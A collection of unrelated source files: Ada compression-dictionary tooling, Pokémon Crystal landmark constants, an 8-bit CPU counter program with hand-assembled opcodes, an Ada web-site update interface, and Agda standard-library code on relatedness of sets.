& Natural'Image (Dict.Values_Last) & ',');
Put_Line (Prefix & "Variable_Length_Verbatim => "
& Image (Dict.Variable_Length_Verbatim) & ',');
Put_Line (Prefix & "Max_Word_Length =>"
& Natural'Image (Dict.Max_Word_Length) & ',');
Line_Buffer (1 .. Prefix'Length) := Prefix;
Line_Buffer (Prefix'Length + 1 .. Prefix'Length + 11) := "Offsets => ";
Buffer_Last := Prefix'Length + 11;
for I in Dict.Offsets'Range loop
Append_Entity (Line_Buffer, Buffer_Last, Strip_Image
(Positive'Image (Dict.Offsets (I)) & Offsets_Suffix (I)));
if I = Dict.Offsets'First then
Line_Buffer (Prefix'Length + 12) := '(';
end if;
end loop;
Put_Line (Line_Buffer (Line_Buffer'First .. Buffer_Last));
Line_Buffer (Prefix'Length + 1 .. Prefix'Length + 9) := "Values =>";
Buffer_Last := Prefix'Length + 9;
declare
I : Positive := Dict.Values'First;
First, Last : Positive;
Quote_Count : Natural;
begin
Values_Loop :
while I <= Dict.Values'Last loop
Add_Unprintable :
while Dict.Values (I) not in ' ' .. '~' loop
Append_Entity
(Line_Buffer, Buffer_Last,
Values_Separator (I) & Character'Image (Dict.Values (I)));
I := I + 1;
exit Values_Loop when I > Dict.Values'Last;
end loop Add_Unprintable;
First := I;
Quote_Count := 0;
Find_Printable_Substring :
loop
if Dict.Values (I) = '"' then
Quote_Count := Quote_Count + 1;
end if;
I := I + 1;
exit Find_Printable_Substring when I > Dict.Values'Last
or else Dict.Values (I) not in ' ' .. '~';
end loop Find_Printable_Substring;
Last := I - 1;
Split_Lines :
loop
declare
Partial_Quote_Count : Natural := 0;
Partial_Width : Natural := 0;
Partial_Last : Natural := First - 1;
Sep : constant String := Values_Separator (First);
Available_Length : constant Natural
:= (if Line_Buffer'Last > Buffer_Last + Sep'Length + 4
then Line_Buffer'Last - Buffer_Last - Sep'Length - 4
else Line_Buffer'Length - Prefix'Length
- Half_Indent'Length - Sep'Length - 3);
begin
if 1 + Last - First + Quote_Count < Available_Length then
Append_Entity
(Line_Buffer, Buffer_Last,
Sep & '"' & Double_Quote
(Dict.Values (First .. Last), Quote_Count) & '"');
exit Split_Lines;
else
Count_Quotes :
loop
if Dict.Values (Partial_Last + 1) = '"' then
exit Count_Quotes
when Partial_Width + 2 > Available_Length;
Partial_Width := Partial_Width + 1;
Partial_Quote_Count := Partial_Quote_Count + 1;
else
exit Count_Quotes
when Partial_Width + 1 > Available_Length;
end if;
Partial_Width := Partial_Width + 1;
Partial_Last := Partial_Last + 1;
end loop Count_Quotes;
Append_Entity
(Line_Buffer, Buffer_Last, Sep & '"'
& Double_Quote
(Dict.Values (First .. Partial_Last),
Partial_Quote_Count)
& '"');
First := Partial_Last + 1;
Quote_Count := Quote_Count - Partial_Quote_Count;
end if;
end;
end loop Split_Lines;
end loop Values_Loop;
Put_Line (Line_Buffer (Line_Buffer'First .. Buffer_Last) & ',');
end;
Line_Buffer (Prefix'Length + 1 .. Prefix'Length + 7) := "Hash =>";
Buffer_Last := Prefix'Length + 7;
Append_Entity (Line_Buffer, Buffer_Last, Hash_Image & ");");
Put_Line (Line_Buffer (Line_Buffer'First .. Buffer_Last));
end Print_Dictionary_In_Ada;
function Remove_Element
(Dict : in Dictionary;
Index : in Dictionary_Code)
return Dictionary
is
Removed_Length : constant Positive := Dict_Entry_Length (Dict, Index);
function New_Offsets return Offset_Array;
function New_Values return String;
function New_Offsets return Offset_Array is
Result : Offset_Array
(Dict.Offsets'First .. Dictionary_Code'Pred (Dict.Last_Code));
begin
for I in Result'Range loop
if I < Index then
Result (I) := Dict.Offsets (I);
else
Result (I) := Dict.Offsets (Dictionary_Code'Succ (I))
- Removed_Length;
end if;
end loop;
return Result;
end New_Offsets;
function New_Values return String is
begin
if Index = Dictionary_Code'First then
return Dict.Values
(Dict.Offsets (Dictionary_Code'Succ (Index))
.. Dict.Values'Last);
elsif Index < Dict.Last_Code then
return Dict.Values (1 .. Dict.Offsets (Index) - 1)
& Dict.Values (Dict.Offsets (Dictionary_Code'Succ (Index))
.. Dict.Values'Last);
else
return Dict.Values (1 .. Dict.Offsets (Index) - 1);
end if;
end New_Values;
New_Max_Word_Length : Positive := Dict.Max_Word_Length;
begin
if Removed_Length = Dict.Max_Word_Length then
New_Max_Word_Length := 1;
for I in Dict.Offsets'Range loop
if I /= Index
and then Dict_Entry_Length (Dict, I) > New_Max_Word_Length
then
New_Max_Word_Length := Dict_Entry_Length (Dict, I);
end if;
end loop;
end if;
return Dictionary'
(Last_Code => Dictionary_Code'Pred (Dict.Last_Code),
Values_Last => Dict.Values_Last - Removed_Length,
Variable_Length_Verbatim => Dict.Variable_Length_Verbatim,
Max_Word_Length => New_Max_Word_Length,
Offsets => New_Offsets,
Values => New_Values,
Hash => Smaz_Tools.Dummy_Hash'Access);
end Remove_Element;
function Replace_Element
(Dict : in Dictionary;
Index : in Dictionary_Code;
Value : in String)
return Dictionary
is
Removed_Length : constant Positive := Dict_Entry_Length (Dict, Index);
Length_Delta : constant Integer := Value'Length - Removed_Length;
function New_Offsets return Offset_Array;
function New_Values return String;
function New_Offsets return Offset_Array is
Result : Offset_Array (Dict.Offsets'First .. Dict.Last_Code);
begin
for I in Result'Range loop
if I <= Index then
Result (I) := Dict.Offsets (I);
else
Result (I) := Dict.Offsets (I) + Length_Delta;
end if;
end loop;
return Result;
end New_Offsets;
function New_Values return String is
begin
if Index = Dictionary_Code'First then
return Value & Dict.Values
(Dict.Offsets (Dictionary_Code'Succ (Index))
.. Dict.Values'Last);
elsif Index < Dict.Last_Code then
return Dict.Values (1 .. Dict.Offsets (Index) - 1)
& Value
& Dict.Values (Dict.Offsets (Dictionary_Code'Succ (Index))
.. Dict.Values'Last);
else
return Dict.Values (1 .. Dict.Offsets (Index) - 1) & Value;
end if;
end New_Values;
New_Max_Word_Length : Positive := Dict.Max_Word_Length;
begin
if Removed_Length = Dict.Max_Word_Length then
New_Max_Word_Length := 1;
for I in Dict.Offsets'Range loop
if I /= Index
and then Dict_Entry_Length (Dict, I) > New_Max_Word_Length
then
New_Max_Word_Length := Dict_Entry_Length (Dict, I);
end if;
end loop;
end if;
if New_Max_Word_Length < Value'Length then
New_Max_Word_Length := Value'Length;
end if;
return Dictionary'
(Last_Code => Dict.Last_Code,
Values_Last => Dict.Values_Last + Length_Delta,
Variable_Length_Verbatim => Dict.Variable_Length_Verbatim,
Max_Word_Length => New_Max_Word_Length,
Offsets => New_Offsets,
Values => New_Values,
Hash => Smaz_Tools.Dummy_Hash'Access);
end Replace_Element;
function To_Dictionary
(List : in String_Lists.List;
Variable_Length_Verbatim : in Boolean)
return Dictionary
is
Code_After_Last : Dictionary_Code := Dictionary_Code'First;
String_Size : Natural := 0;
Max_Word_Length : Positive := 1;
begin
for S of List loop
Code_After_Last := Dictionary_Code'Succ (Code_After_Last);
String_Size := String_Size + S'Length;
if S'Length > Max_Word_Length then
Max_Word_Length := S'Length;
end if;
end loop;
declare
Last_Code : constant Dictionary_Code
:= Dictionary_Code'Pred (Code_After_Last);
Offsets : Offset_Array
(Dictionary_Code'Succ (Dictionary_Code'First) .. Last_Code);
Values : String (1 .. String_Size);
Current_Offset : Positive := 1;
Current_Index : Dictionary_Code := Dictionary_Code'First;
Next_Offset : Positive;
begin
for S of List loop
if Current_Index in Offsets'Range then
Offsets (Current_Index) := Current_Offset;
end if;
Next_Offset := Current_Offset + S'Length;
Values (Current_Offset .. Next_Offset - 1) := S;
Current_Offset := Next_Offset;
Current_Index := Dictionary_Code'Succ (Current_Index);
end loop;
pragma Assert (Current_Index = Code_After_Last);
pragma Assert (Current_Offset = String_Size + 1);
return
(Last_Code => Last_Code,
Values_Last => String_Size,
Variable_Length_Verbatim => Variable_Length_Verbatim,
Max_Word_Length => Max_Word_Length,
Offsets => Offsets,
Values => Values,
Hash => Smaz_Tools.Dummy_Hash'Access);
end;
end To_Dictionary;
function To_String_List (Dict : in Dictionary) return String_Lists.List is
Result : String_Lists.List;
begin
for Code in Dictionary_Code'First .. Dict.Last_Code loop
String_Lists.Append (Result, Dict_Entry (Dict, Code));
end loop;
return Result;
end To_String_List;
---------------------------
-- Dictionary Evaluation --
---------------------------
procedure Evaluate_Dictionary
(Dict : in Dictionary;
Corpus : in String_Lists.List;
Compressed_Size : out Ada.Streams.Stream_Element_Count;
Counts : out Dictionary_Counts) is
begin
Compressed_Size := 0;
Counts := (others => 0);
for S of Corpus loop
Evaluate_Dictionary_Partial
(Dict, S, Compressed_Size, Counts);
end loop;
end Evaluate_Dictionary;
procedure Evaluate_Dictionary_Partial
(Dict : in Dictionary;
Corpus_Entry : in String;
Compressed_Size : in out Ada.Streams.Stream_Element_Count;
Counts : in out Dictionary_Counts)
is
use type Ada.Streams.Stream_Element_Offset;
use type Smaz_Tools.String_Count;
Verbatim_Length : Natural;
Code : Dictionary_Code;
Compressed : constant Ada.Streams.Stream_Element_Array
:= Compress (Dict, Corpus_Entry);
Index : Ada.Streams.Stream_Element_Offset := Compressed'First;
begin
Compressed_Size := Compressed_Size + Compressed'Length;
while Index in Compressed'Range loop
Read_Code
(Compressed, Index,
Code, Verbatim_Length,
Dict.Last_Code, Dict.Variable_Length_Verbatim);
if Verbatim_Length > 0 then
Skip_Verbatim (Compressed, Index, Verbatim_Length);
else
Counts (Code) := Counts (Code) + 1;
end if;
end loop;
end Evaluate_Dictionary_Partial;
function Worst_Index
(Dict : in Dictionary;
Counts : in Dictionary_Counts;
Method : in Smaz_Tools.Methods.Enum;
First, Last : in Dictionary_Code)
return Dictionary_Code
is
use type Smaz_Tools.Score_Value;
Result : Dictionary_Code := First;
Worst_Score : Smaz_Tools.Score_Value
:= Score (Dict, Counts, Result, Method);
S : Smaz_Tools.Score_Value;
begin
for I in Dictionary_Code'Succ (First) .. Last loop
S := Score (Dict, Counts, I, Method);
if S < Worst_Score then
Result := I;
Worst_Score := S;
end if;
end loop;
return Result;
end Worst_Index;
end Natools.Smaz_Generic.Tools;
|
constants/landmark_constants.asm | AtmaBuster/pokecrystal16-493-plus | 1 | 13725 | <reponame>AtmaBuster/pokecrystal16-493-plus
; Landmarks indexes (see data/maps/landmarks.asm)
const_def
const SPECIAL_MAP
const TWINLEAF_TOWN
const ROUTE_201
const LAKE_VERITY
const SANDGEM_TOWN
const ROUTE_202
const JUBILIFE_CITY
const ROUTE_203
const OREBURGH_GATE
const OREBURGH_CITY
; old definitions
const_def
; Johto landmarks
const _SPECIAL_MAP ; 00 ; old
const NEW_BARK_TOWN ; 01
const ROUTE_29 ; 02
const CHERRYGROVE_CITY ; 03
const ROUTE_30 ; 04
const ROUTE_31 ; 05
const VIOLET_CITY ; 06
const SPROUT_TOWER ; 07
const ROUTE_32 ; 08
const RUINS_OF_ALPH ; 09
const UNION_CAVE ; 0a
const ROUTE_33 ; 0b
const AZALEA_TOWN ; 0c
const SLOWPOKE_WELL ; 0d
const ILEX_FOREST ; 0e
const ROUTE_34 ; 0f
const GOLDENROD_CITY ; 10
const RADIO_TOWER ; 11
const ROUTE_35 ; 12
const NATIONAL_PARK ; 13
const ROUTE_36 ; 14
const ROUTE_37 ; 15
const ECRUTEAK_CITY ; 16
const TIN_TOWER ; 17
const BURNED_TOWER ; 18
const ROUTE_38 ; 19
const ROUTE_39 ; 1a
const OLIVINE_CITY ; 1b
const LIGHTHOUSE ; 1c
const BATTLE_TOWER ; 1d
const ROUTE_40 ; 1e
const WHIRL_ISLANDS ; 1f
const ROUTE_41 ; 20
const CIANWOOD_CITY ; 21
const ROUTE_42 ; 22
const MT_MORTAR ; 23
const MAHOGANY_TOWN ; 24
const ROUTE_43 ; 25
const LAKE_OF_RAGE ; 26
const ROUTE_44 ; 27
const ICE_PATH ; 28
const BLACKTHORN_CITY ; 29
const DRAGONS_DEN ; 2a
const ROUTE_45 ; 2b
const DARK_CAVE ; 2c
const ROUTE_46 ; 2d
const SILVER_CAVE ; 2e
KANTO_LANDMARK EQU const_value
const PALLET_TOWN ; 2f
const ROUTE_1 ; 30
const VIRIDIAN_CITY ; 31
const ROUTE_2 ; 32
const PEWTER_CITY ; 33
const ROUTE_3 ; 34
const MT_MOON ; 35
const ROUTE_4 ; 36
const CERULEAN_CITY ; 37
const ROUTE_24 ; 38
const ROUTE_25 ; 39
const ROUTE_5 ; 3a
const UNDERGROUND_PATH ; 3b
const ROUTE_6 ; 3c
const VERMILION_CITY ; 3d
const DIGLETTS_CAVE ; 3e
const ROUTE_7 ; 3f
const ROUTE_8 ; 40
const ROUTE_9 ; 41
const ROCK_TUNNEL ; 42
const ROUTE_10 ; 43
const POWER_PLANT ; 44
const LAVENDER_TOWN ; 45
const LAV_RADIO_TOWER ; 46
const CELADON_CITY ; 47
const SAFFRON_CITY ; 48
const ROUTE_11 ; 49
const ROUTE_12 ; 4a
const ROUTE_13 ; 4b
const ROUTE_14 ; 4c
const ROUTE_15 ; 4d
const ROUTE_16 ; 4e
const ROUTE_17 ; 4f
const ROUTE_18 ; 50
const FUCHSIA_CITY ; 51
const ROUTE_19 ; 52
const ROUTE_20 ; 53
const SEAFOAM_ISLANDS ; 54
const CINNABAR_ISLAND ; 55
const ROUTE_21 ; 56
const ROUTE_22 ; 57
const VICTORY_ROAD ; 58
const ROUTE_23 ; 59
const INDIGO_PLATEAU ; 5a
const ROUTE_26 ; 5b
const ROUTE_27 ; 5c
const TOHJO_FALLS ; 5d
const ROUTE_28 ; 5e
const FAST_SHIP ; 5f
; used in CaughtData
GIFT_LOCATION EQU $7e
EVENT_LOCATION EQU $7f
; Regions
const_def
const JOHTO_REGION ; 0
const KANTO_REGION ; 1
NUM_REGIONS EQU const_value
|
asm.programs/counter.asm | rostislav-nikitin/edu.fpga.xilinx.cpu.8bit | 0 | 103978 | <reponame>rostislav-nikitin/edu.fpga.xilinx.cpu.8bit<filename>asm.programs/counter.asm
LDC R1, "00000001"
00 0 010 01 00
01 00000001
LDC R0, "00000000"
02 0 010 00 00
03 00000000
loop:
ADD R0, R1
04 1 000 00 01
JMPIF C, clear
05 0 101 0001
06 00001001
JMP loop
07 0 100 00 00
08 00000100
clear:
CLF
09 01100000
JMP loop
10 0 100 00 00
11 00000100
00100100
00000001
00100000
00000000
10000001
01000000
00000100
12 00010010
00 00000000
41 01000001
00 00000000
00 00000000
05 00000101
20 00100000
10 00010000
0000000000000000000000000000000000000000000000000000000000000012
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000041
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000005
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000010
OLD FROM 1 TO 15
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
0000000000000000000000000000000000000000000000000000000000000000
2000200020002000200020002000200020002000200020002000200020002000
0000000000000000000000000000000000000000000000000000000000000000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0
00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF
1 00 00100100
2 01 00000001
3 02 00100000
4 03 00000000
5 04 10000001
6 05 01010001
7 06 00001001
8 07 01000000
9 08 00000100
10 09 01100000
11 10 01000000
12 11 00000100
0072 000001110010
0000 000000000000
0901 100100000001
0040 000001000000
0020 000000100000
0205 001000000101
06A0 011010100000
0010 000000010000
000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000072
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000901
0000000000000000000000000000000000000000000000000000000000000040
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000205
00000000000000000000000000000000000000000000000000000000000006A0
0000000000000000000000000000000000000000000000000000000000000010
|
src/natools-web-sites-updates.ads | faelys/natools-web | 1 | 8842 | ------------------------------------------------------------------------------
-- Copyright (c) 2015-2017, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
------------------------------------------------------------------------------
-- Natools.Web.Sites.Updates provides types representing an update to a --
-- site object. --
------------------------------------------------------------------------------
package Natools.Web.Sites.Updates is
type Site_Update is interface;
procedure Update (Self : in Site_Update; Object : in out Site) is abstract;
-- Actually perform the update
type Expiration_Purger is new Site_Update with private;
overriding procedure Update
(Self : in Expiration_Purger;
Object : in out Site);
-- Purge expiration data
procedure Purge_Expiration (Object : in Site);
-- Enqueue a purger in Object
type Reloader is new Site_Update with private;
overriding procedure Update (Self : in Reloader; Object : in out Site);
-- Reload site data
procedure Reload (Object : in Site);
-- Enqueue a reloader in Object
private
type Expiration_Purger is new Site_Update with null record;
type Reloader is new Site_Update with null record;
end Natools.Web.Sites.Updates;
|
agda-stdlib-0.9/src/Function/Related.agda | qwe2/try-agda | 1 | 8331 | <gh_stars>1-10
------------------------------------------------------------------------
-- The Agda standard library
--
-- A universe which includes several kinds of "relatedness" for sets,
-- such as equivalences, surjections and bijections
------------------------------------------------------------------------
module Function.Related where
open import Level
open import Function
open import Function.Equality using (_⟨$⟩_)
open import Function.Equivalence as Eq using (Equivalence)
open import Function.Injection as Inj using (Injection; _↣_)
open import Function.Inverse as Inv using (Inverse; _↔_)
open import Function.LeftInverse as LeftInv using (LeftInverse)
open import Function.Surjection as Surj using (Surjection)
open import Relation.Binary
open import Relation.Binary.PropositionalEquality as P using (_≡_)
------------------------------------------------------------------------
-- Wrapper types
-- Synonyms which are used to make _∼[_]_ below "constructor-headed"
-- (which implies that Agda can deduce the universe code from an
-- expression matching any of the right-hand sides).
record _←_ {a b} (A : Set a) (B : Set b) : Set (a ⊔ b) where
constructor lam
field app-← : B → A
open _←_ public
record _↢_ {a b} (A : Set a) (B : Set b) : Set (a ⊔ b) where
constructor lam
field app-↢ : B ↣ A
open _↢_ public
------------------------------------------------------------------------
-- Relatedness
-- There are several kinds of "relatedness".
-- The idea to include kinds other than equivalence and bijection came
-- from <NAME> and <NAME>. /NAD
data Kind : Set where
implication reverse-implication
equivalence
injection reverse-injection
left-inverse surjection
bijection
: Kind
-- Interpretation of the codes above. The code "bijection" is
-- interpreted as Inverse rather than Bijection; the two types are
-- equivalent.
infix 4 _∼[_]_
_∼[_]_ : ∀ {ℓ₁ ℓ₂} → Set ℓ₁ → Kind → Set ℓ₂ → Set _
A ∼[ implication ] B = A → B
A ∼[ reverse-implication ] B = A ← B
A ∼[ equivalence ] B = Equivalence (P.setoid A) (P.setoid B)
A ∼[ injection ] B = Injection (P.setoid A) (P.setoid B)
A ∼[ reverse-injection ] B = A ↢ B
A ∼[ left-inverse ] B = LeftInverse (P.setoid A) (P.setoid B)
A ∼[ surjection ] B = Surjection (P.setoid A) (P.setoid B)
A ∼[ bijection ] B = Inverse (P.setoid A) (P.setoid B)
-- A non-infix synonym.
Related : Kind → ∀ {ℓ₁ ℓ₂} → Set ℓ₁ → Set ℓ₂ → Set _
Related k A B = A ∼[ k ] B
-- The bijective equality implies any kind of relatedness.
↔⇒ : ∀ {k x y} {X : Set x} {Y : Set y} →
X ∼[ bijection ] Y → X ∼[ k ] Y
↔⇒ {implication} = _⟨$⟩_ ∘ Inverse.to
↔⇒ {reverse-implication} = lam ∘′ _⟨$⟩_ ∘ Inverse.from
↔⇒ {equivalence} = Inverse.equivalence
↔⇒ {injection} = Inverse.injection
↔⇒ {reverse-injection} = lam ∘′ Inverse.injection ∘ Inv.sym
↔⇒ {left-inverse} = Inverse.left-inverse
↔⇒ {surjection} = Inverse.surjection
↔⇒ {bijection} = id
-- Actual equality also implies any kind of relatedness.
≡⇒ : ∀ {k ℓ} {X Y : Set ℓ} → X ≡ Y → X ∼[ k ] Y
≡⇒ P.refl = ↔⇒ Inv.id
------------------------------------------------------------------------
-- Special kinds of kinds
-- Kinds whose interpretation is symmetric.
data Symmetric-kind : Set where
equivalence bijection : Symmetric-kind
-- Forgetful map.
⌊_⌋ : Symmetric-kind → Kind
⌊ equivalence ⌋ = equivalence
⌊ bijection ⌋ = bijection
-- The proof of symmetry can be found below.
-- Kinds whose interpretation include a function which "goes in the
-- forward direction".
data Forward-kind : Set where
implication equivalence injection
left-inverse surjection bijection : Forward-kind
-- Forgetful map.
⌊_⌋→ : Forward-kind → Kind
⌊ implication ⌋→ = implication
⌊ equivalence ⌋→ = equivalence
⌊ injection ⌋→ = injection
⌊ left-inverse ⌋→ = left-inverse
⌊ surjection ⌋→ = surjection
⌊ bijection ⌋→ = bijection
-- The function.
⇒→ : ∀ {k x y} {X : Set x} {Y : Set y} → X ∼[ ⌊ k ⌋→ ] Y → X → Y
⇒→ {implication} = id
⇒→ {equivalence} = _⟨$⟩_ ∘ Equivalence.to
⇒→ {injection} = _⟨$⟩_ ∘ Injection.to
⇒→ {left-inverse} = _⟨$⟩_ ∘ LeftInverse.to
⇒→ {surjection} = _⟨$⟩_ ∘ Surjection.to
⇒→ {bijection} = _⟨$⟩_ ∘ Inverse.to
-- Kinds whose interpretation include a function which "goes backwards".
data Backward-kind : Set where
reverse-implication equivalence reverse-injection
left-inverse surjection bijection : Backward-kind
-- Forgetful map.
⌊_⌋← : Backward-kind → Kind
⌊ reverse-implication ⌋← = reverse-implication
⌊ equivalence ⌋← = equivalence
⌊ reverse-injection ⌋← = reverse-injection
⌊ left-inverse ⌋← = left-inverse
⌊ surjection ⌋← = surjection
⌊ bijection ⌋← = bijection
-- The function.
⇒← : ∀ {k x y} {X : Set x} {Y : Set y} → X ∼[ ⌊ k ⌋← ] Y → Y → X
⇒← {reverse-implication} = app-←
⇒← {equivalence} = _⟨$⟩_ ∘ Equivalence.from
⇒← {reverse-injection} = _⟨$⟩_ ∘ Injection.to ∘ app-↢
⇒← {left-inverse} = _⟨$⟩_ ∘ LeftInverse.from
⇒← {surjection} = _⟨$⟩_ ∘ Surjection.from
⇒← {bijection} = _⟨$⟩_ ∘ Inverse.from
-- Kinds whose interpretation include functions going in both
-- directions.
data Equivalence-kind : Set where
equivalence left-inverse surjection bijection : Equivalence-kind
-- Forgetful map.
⌊_⌋⇔ : Equivalence-kind → Kind
⌊ equivalence ⌋⇔ = equivalence
⌊ left-inverse ⌋⇔ = left-inverse
⌊ surjection ⌋⇔ = surjection
⌊ bijection ⌋⇔ = bijection
-- The functions.
⇒⇔ : ∀ {k x y} {X : Set x} {Y : Set y} →
X ∼[ ⌊ k ⌋⇔ ] Y → X ∼[ equivalence ] Y
⇒⇔ {equivalence} = id
⇒⇔ {left-inverse} = LeftInverse.equivalence
⇒⇔ {surjection} = Surjection.equivalence
⇒⇔ {bijection} = Inverse.equivalence
-- Conversions between special kinds.
⇔⌊_⌋ : Symmetric-kind → Equivalence-kind
⇔⌊ equivalence ⌋ = equivalence
⇔⌊ bijection ⌋ = bijection
→⌊_⌋ : Equivalence-kind → Forward-kind
→⌊ equivalence ⌋ = equivalence
→⌊ left-inverse ⌋ = left-inverse
→⌊ surjection ⌋ = surjection
→⌊ bijection ⌋ = bijection
←⌊_⌋ : Equivalence-kind → Backward-kind
←⌊ equivalence ⌋ = equivalence
←⌊ left-inverse ⌋ = left-inverse
←⌊ surjection ⌋ = surjection
←⌊ bijection ⌋ = bijection
------------------------------------------------------------------------
-- Opposites
-- For every kind there is an opposite kind.
_op : Kind → Kind
implication op = reverse-implication
reverse-implication op = implication
equivalence op = equivalence
injection op = reverse-injection
reverse-injection op = injection
left-inverse op = surjection
surjection op = left-inverse
bijection op = bijection
-- For every morphism there is a corresponding reverse morphism of the
-- opposite kind.
reverse : ∀ {k a b} {A : Set a} {B : Set b} →
A ∼[ k ] B → B ∼[ k op ] A
reverse {implication} = lam
reverse {reverse-implication} = app-←
reverse {equivalence} = Eq.sym
reverse {injection} = lam
reverse {reverse-injection} = app-↢
reverse {left-inverse} = Surj.fromRightInverse
reverse {surjection} = Surjection.right-inverse
reverse {bijection} = Inv.sym
------------------------------------------------------------------------
-- Equational reasoning
-- Equational reasoning for related things.
module EquationalReasoning where
private
refl : ∀ {k ℓ} → Reflexive (Related k {ℓ})
refl {implication} = id
refl {reverse-implication} = lam id
refl {equivalence} = Eq.id
refl {injection} = Inj.id
refl {reverse-injection} = lam Inj.id
refl {left-inverse} = LeftInv.id
refl {surjection} = Surj.id
refl {bijection} = Inv.id
trans : ∀ {k ℓ₁ ℓ₂ ℓ₃} →
Trans (Related k {ℓ₁} {ℓ₂})
(Related k {ℓ₂} {ℓ₃})
(Related k {ℓ₁} {ℓ₃})
trans {implication} = flip _∘′_
trans {reverse-implication} = λ f g → lam (app-← f ∘ app-← g)
trans {equivalence} = flip Eq._∘_
trans {injection} = flip Inj._∘_
trans {reverse-injection} = λ f g → lam (Inj._∘_ (app-↢ f) (app-↢ g))
trans {left-inverse} = flip LeftInv._∘_
trans {surjection} = flip Surj._∘_
trans {bijection} = flip Inv._∘_
sym : ∀ {k ℓ₁ ℓ₂} →
Sym (Related ⌊ k ⌋ {ℓ₁} {ℓ₂})
(Related ⌊ k ⌋ {ℓ₂} {ℓ₁})
sym {equivalence} = Eq.sym
sym {bijection} = Inv.sym
infix 2 _∎
infixr 2 _∼⟨_⟩_ _↔⟨_⟩_ _↔⟨⟩_ _≡⟨_⟩_
_∼⟨_⟩_ : ∀ {k x y z} (X : Set x) {Y : Set y} {Z : Set z} →
X ∼[ k ] Y → Y ∼[ k ] Z → X ∼[ k ] Z
_ ∼⟨ X↝Y ⟩ Y↝Z = trans X↝Y Y↝Z
-- Isomorphisms can be combined with any other kind of relatedness.
_↔⟨_⟩_ : ∀ {k x y z} (X : Set x) {Y : Set y} {Z : Set z} →
X ↔ Y → Y ∼[ k ] Z → X ∼[ k ] Z
X ↔⟨ X↔Y ⟩ Y⇔Z = X ∼⟨ ↔⇒ X↔Y ⟩ Y⇔Z
_↔⟨⟩_ : ∀ {k x y} (X : Set x) {Y : Set y} →
X ∼[ k ] Y → X ∼[ k ] Y
X ↔⟨⟩ X⇔Y = X⇔Y
_≡⟨_⟩_ : ∀ {k ℓ z} (X : Set ℓ) {Y : Set ℓ} {Z : Set z} →
X ≡ Y → Y ∼[ k ] Z → X ∼[ k ] Z
X ≡⟨ X≡Y ⟩ Y⇔Z = X ∼⟨ ≡⇒ X≡Y ⟩ Y⇔Z
_∎ : ∀ {k x} (X : Set x) → X ∼[ k ] X
X ∎ = refl
-- For a symmetric kind and a fixed universe level we can construct a
-- setoid.
setoid : Symmetric-kind → (ℓ : Level) → Setoid _ _
setoid k ℓ = record
{ Carrier = Set ℓ
; _≈_ = Related ⌊ k ⌋
; isEquivalence =
record {refl = _ ∎; sym = sym; trans = _∼⟨_⟩_ _}
} where open EquationalReasoning
-- For an arbitrary kind and a fixed universe level we can construct a
-- preorder.
preorder : Kind → (ℓ : Level) → Preorder _ _ _
preorder k ℓ = record
{ Carrier = Set ℓ
; _≈_ = _↔_
; _∼_ = Related k
; isPreorder = record
{ isEquivalence = Setoid.isEquivalence (setoid bijection ℓ)
; reflexive = ↔⇒
; trans = _∼⟨_⟩_ _
}
} where open EquationalReasoning
------------------------------------------------------------------------
-- Some induced relations
-- Every unary relation induces a preorder and, for symmetric kinds,
-- an equivalence. (No claim is made that these relations are unique.)
InducedRelation₁ : Kind → ∀ {a s} {A : Set a} →
(A → Set s) → A → A → Set _
InducedRelation₁ k S = λ x y → S x ∼[ k ] S y
InducedPreorder₁ : Kind → ∀ {a s} {A : Set a} →
(A → Set s) → Preorder _ _ _
InducedPreorder₁ k S = record
{ _≈_ = P._≡_
; _∼_ = InducedRelation₁ k S
; isPreorder = record
{ isEquivalence = P.isEquivalence
; reflexive = reflexive ∘
Setoid.reflexive (setoid bijection _) ∘
P.cong S
; trans = trans
}
} where open Preorder (preorder _ _)
InducedEquivalence₁ : Symmetric-kind → ∀ {a s} {A : Set a} →
(A → Set s) → Setoid _ _
InducedEquivalence₁ k S = record
{ _≈_ = InducedRelation₁ ⌊ k ⌋ S
; isEquivalence = record {refl = refl; sym = sym; trans = trans}
} where open Setoid (setoid _ _)
-- Every binary relation induces a preorder and, for symmetric kinds,
-- an equivalence. (No claim is made that these relations are unique.)
InducedRelation₂ : Kind → ∀ {a b s} {A : Set a} {B : Set b} →
(A → B → Set s) → B → B → Set _
InducedRelation₂ k _S_ = λ x y → ∀ {z} → (z S x) ∼[ k ] (z S y)
InducedPreorder₂ : Kind → ∀ {a b s} {A : Set a} {B : Set b} →
(A → B → Set s) → Preorder _ _ _
InducedPreorder₂ k _S_ = record
{ _≈_ = P._≡_
; _∼_ = InducedRelation₂ k _S_
; isPreorder = record
{ isEquivalence = P.isEquivalence
